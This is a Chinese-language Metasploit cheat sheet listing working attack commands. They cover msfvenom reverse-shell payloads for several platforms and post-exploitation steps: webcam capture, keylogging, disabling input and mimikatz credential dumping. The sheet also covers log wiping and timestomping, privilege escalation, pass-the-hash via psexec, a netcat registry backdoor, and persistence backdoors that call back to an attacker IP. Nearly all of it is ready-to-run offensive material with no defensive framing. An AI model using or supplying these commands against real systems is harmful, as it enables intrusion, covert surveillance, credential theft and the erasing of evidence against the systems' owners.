MSF命令大全
0x00 Payload生成
Windows/Linux
Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -f exe > 儲存路徑/檔名
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -f elf > 儲存路徑/檔名
Web
PHP:
msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[埠] -f raw > 儲存路徑/檔名.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠]-f asp > 儲存路徑/檔名.asp JSP: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[埠]-f raw > 儲存路徑/檔名.jsp WAR: msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[埠]-f war > 儲存路徑/檔名.war
Android
Android:
msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -o 儲存路徑/檔名.apk
0x01 msfvenom命令引數
1 Options:
2 -p, --payload <payload> 指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用'-'或者stdin指定
3 -l, --list [module_type] 列出指定模組的所有可用資源. 模組型別包括: payloads, encoders, nops, all
4 -n, --nopsled <length> 為payload預先指定一個NOP滑動長度
5 -f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支援的輸出格式列表)
6 -e, --encoder [encoder] 指定需要使用的encoder(編碼器)
7 -a, --arch <architecture> 指定payload的目標架構
8 --platform <platform> 指定payload的目標平臺
9 -s, --space <length> 設定有效攻擊荷載的最大長度
10 -b, --bad-chars <list> 設定規避字符集,比如: '\x00\xff'
11 -i, --iterations <count> 指定payload的編碼次數
12 -c, --add-code <path> 指定一個附加的win32 shellcode檔案
13 -x, --template <path> 指定一個自定義的可執行檔案作為模板
14 -k, --keep 保護模板程式的動作,注入的payload作為一個新的程式執行
15 --payload-options 列舉payload的標準選項
16 -o, --out <path> 儲存payload
17 -v, --var-name <name> 指定一個自定義的變數,以確定輸出格式
18 --shellest 最小化生成payload
19 -h, --help 檢視幫助選項
20 --help-formats 檢視msf支援的輸出格式列表
0x02 常用系統命令
sessions #sessions –h 檢視幫助
sessions -i <ID值> #進入會話 -k 殺死會話
background #將當前會話放置後臺
run #執行已有的模組,輸入run後按兩下tab,列出已有的指令碼
info #檢視已有模組資訊
getuid # 檢視許可權
getpid # 獲取當前程式的pid
sysinfo # 檢視目標機系統資訊
ps # 檢視當前活躍程式 kill <PID值> 殺死程式
idletime #檢視目標機閒置時間
reboot / shutdown #重啟/關機
shell #進入目標機cmd shell
uictl開關鍵盤/滑鼠
uictl [enable/disable] [keyboard/mouse/all] #開啟或禁止鍵盤/滑鼠
uictl disable mouse #禁用滑鼠
uictl disable keyboard #禁用鍵盤
webcam攝像頭命令
webcam_list #檢視攝像頭
webcam_snap #通過攝像頭拍照
webcam_stream #通過攝像頭開啟視訊
execute執行檔案
execute #在目標機中執行檔案
execute -H -i -f cmd.exe # 建立新程式cmd.exe,-H不可見,-i互動
migrate程式遷移
getpid # 獲取當前程式的pid
ps # 檢視當前活躍程式
migrate <pid值> #將Meterpreter會話移植到指定pid值程式中
kill <pid值> #殺死程式
clearev清除日誌
clearev #清除windows中的應用程式日誌、系統日誌、安全日誌
0x03 檔案類命令
基本檔案系統命令
getwd 或者pwd # 檢視當前工作目錄
ls
cd
search -f *pass* # 搜尋檔案 -h檢視幫助
cat c:\\lltest\\lltestpasswd.txt # 檢視檔案內容
upload /tmp/hack.txt C:\\lltest # 上傳檔案到目標機上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下載檔案到本機上
edit c:\\1.txt #編輯或建立檔案 沒有的話,會新建檔案
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在當前目錄下建立資料夾
rmdir lltest2 #只能刪除當前目錄下資料夾
getlwd 或者 lpwd #操作攻擊者主機 檢視當前目錄
lcd /tmp #操作攻擊者主機 切換目錄
timestomp偽造時間戳
timestomp C:// -h #檢視幫助
timestomp -v C://2.txt #檢視時間戳
timestomp C://2.txt -f C://1.txt #將1.txt的時間戳複製給2.txt
0x04 網路類命令
基本網路命令
ipconfig/ifconfig
netstat –ano
arp
getproxy #檢視代理資訊
route #檢視路由
portfwd埠轉發
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #將目標機的3389埠轉發到本地6666埠
autoroute新增路由
run autoroute –h #檢視幫助
run autoroute -s 192.168.159.0/24 #新增到目標環境網路
run autoroute –p #檢視新增的路由
利用arp_scanner、portscan等進行掃描
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #掃描192.168.1.0/24這個網段
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #檢測192.168.1.144是否開啟3389埠
Socks4a代理
autoroute新增完路由後,還可以利用msf自帶的sock4a模組進行Socks4a代理
msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run然後vi /etc/proxychains.conf #新增 socks4 127.0.0.1 1080
最後proxychains 使用Socks4a代理訪
0x05 資訊收集
資訊收集的指令碼位於:
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
資訊收集的指令碼較多,僅列幾個常用的:
run post/windows/gather/checkvm #是否虛擬機器
run post/linux/gather/checkvm #是否虛擬機器
run post/windows/gather/forensics/enum_drives #檢視分割槽
run post/windows/gather/enum_applications #獲取安裝軟體資訊
run post/windows/gather/dumplinks #獲取最近的檔案操作
run post/windows/gather/enum_ie #獲取IE快取
run post/windows/gather/enum_chrome #獲取Chrome快取
run post/windows/gather/enum_patches #補丁資訊
run post/windows/gather/enum_domain #查詢域控
0x06 提權
getsystem提權
getsystem
getsystem工作原理
getsystem建立一個新的Windows服務,設定為SYSTEM執行,當它啟動時連線到一個命名管道。
getsystem產生一個程式,它建立一個命名管道並等待來自該服務的連線。
Windows服務已啟動,導致與命名管道建立連線。
該程式接收連線並呼叫ImpersonateNamedPipeClient,從而為SYSTEM使用者建立模擬令牌。
然後用新收集的SYSTEM模擬令牌產生cmd.exe,並且我們有一個SYSTEM特權程式。
bypassuac
內建多個pypassuac指令碼,原理有所不同,使用方法類似,執行後返回一個新的會話,需要再次執行getsystem獲取系統許可權,如:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
如使用bypassuac.rb指令碼:
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
核心漏洞提權
可先利用enum_patches模組 收集補丁資訊,然後查詢可用的exploits進行提權
meterpreter > run post/windows/gather/enum_patches #檢視補丁資訊
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
0x07 mimikatz抓取密碼
load mimikatz #help mimikatz 檢視幫助
wdigest #獲取Wdigest密碼
mimikatz_command -f samdump::hashes #執行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
0x08 遠端桌面&截圖
enumdesktops #檢視可用的桌面
getdesktop #獲取當前meterpreter 關聯的桌面
set_desktop #設定meterpreter關聯的桌面 -h檢視幫助
screenshot #截圖
use espia #或者使用espia模組截圖 然後輸入screengrab
run vnc #使用vnc遠端桌面連線
0x09 開啟rdp&新增使用者
getgui命令
run getgui –h #檢視幫助
run getgui -e #開啟遠端桌面
run getgui -u lltest2 -p 123456 #新增使用者
run getgui -f 6661 –e #3389埠轉發到6661getgui 系統不推薦,推薦使用run post/windows/manage/enable_rdpgetgui新增使用者時,有時雖然可以成功新增使用者,但是沒有許可權通過遠端桌面登陸
enable_rdp指令碼
run post/windows/manage/enable_rdp #開啟遠端桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #新增使用者
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #將3389埠轉發到6662
指令碼位於/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通過enable_rdp.rb指令碼可知:開啟rdp是通過reg修改登錄檔;新增使用者是呼叫cmd.exe 通過net user新增;埠轉發是利用的portfwd命令
0x10 鍵盤記錄
keyscan_start #開始鍵盤記錄
keyscan_dump #匯出記錄資料
keyscan_stop #結束鍵盤記錄
0x11 sniffer抓包
use sniffer
sniffer_interfaces #檢視網路卡
sniffer_start 2 #選擇網路卡 開始抓包
sniffer_stats 2 #檢視狀態
sniffer_dump 2 /tmp/lltest.pcap #匯出pcap資料包
sniffer_stop 2 #停止抓包
0x12 登錄檔操作
reg –h
-d 登錄檔中值的資料. -k 登錄檔鍵路徑 -v 登錄檔鍵名稱
enumkey 列舉可獲得的鍵 setval 設定鍵值 queryval 查詢鍵值資料
登錄檔設定nc後門
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #列舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設定鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #檢視鍵值
nc -v 192.168.159.144 443 #攻擊者連線nc後門
0x13 令牌操縱
incognito假冒令牌
use incognito #help incognito 檢視幫助
list_tokens -u #檢視可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 執行
或者直接shell
rev2self #返回原始token
steal_token竊取令牌
steal_token <pid值> #從指定程式中竊取token 先ps
drop_token #刪除竊取的token
0x14 雜湊利用
獲取雜湊
run post/windows/gather/smart_hashdump #從SAM匯出密碼雜湊
#需要SYSTEM許可權
PSExec雜湊傳遞
通過smart_hashdump獲取使用者雜湊後,可以利用psexec模組進行雜湊傳遞攻擊
前提條件:①開啟445埠 smb服務;②開啟admin$共享
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域使用者需要設定SMBDomain
msf >exploit
0x15 新增後門維權
metasploit自帶的後門有兩種方式啟動的,一種是通過啟動項啟動(persistence),一種是通過服務啟動(metsvc),另外還可以通過persistence_exe自定義後門檔案。
persistence啟動項後門
在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs指令碼
在登錄檔HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啟動項
run persistence –h #檢視幫助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定啟動的方式為開機自啟動,-i反向連線的時間間隔(5s) –r 指定攻擊者的ip
連線後門
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit
metsvc服務後門
在C:\Users***\AppData\Local\Temp\上傳了三個檔案(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通過服務啟動,服務名為meterpreter
run metsvc –h # 檢視幫助
run metsvc –A #自動安裝後門
連線後門
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit
相關文章
- MSF常用命令
- kubectl命令大全
- Linux命令大全Linux
- VIM 命令大全
- kali命令大全
- Redis 命令大全Redis
- docker 命令大全Docker
- docker命令大全Docker
- Ubuntu命令大全Ubuntu
- Laravel Artisan 命令大全Laravel
- linux命令大全(續)Linux
- Linux命令操作大全Linux
- Docker 操作命令大全Docker
- kali 升級msf到msf6
- linux 命令基礎大全Linux
- Linux命令大全總結Linux
- shell簡單命令大全。
- Git 命令大全,詳解!Git
- Linux系統命令大全。Linux
- CAD快捷鍵命令大全
- Linux命令總結大全Linux
- Mac終端命令大全Mac
- CentOS基礎命令大全CentOS
- linux命令大全-linux命令使用和管理Linux
- cad常用命令大全圖表 史上最全CAD快捷鍵命令大全
- cdr快捷鍵大全表格 cdr快捷鍵命令大全
- Zookeeper的基本命令大全
- Kafka常用命令大全Kafka
- informix常用命令大全ORM
- Git常用命令大全Git
- PostgreSQL常用命令大全SQL
- git 常用命令大全Git
- Linux常用命令大全Linux
- cad快捷鍵命令大全及使用方法 cad常用命令大全圖表
- Linux基礎命令歸納大全Linux
- adb操作命令詳解及大全
- 寶塔Linux皮膚命令大全Linux
- linux常用命令大全(一)Linux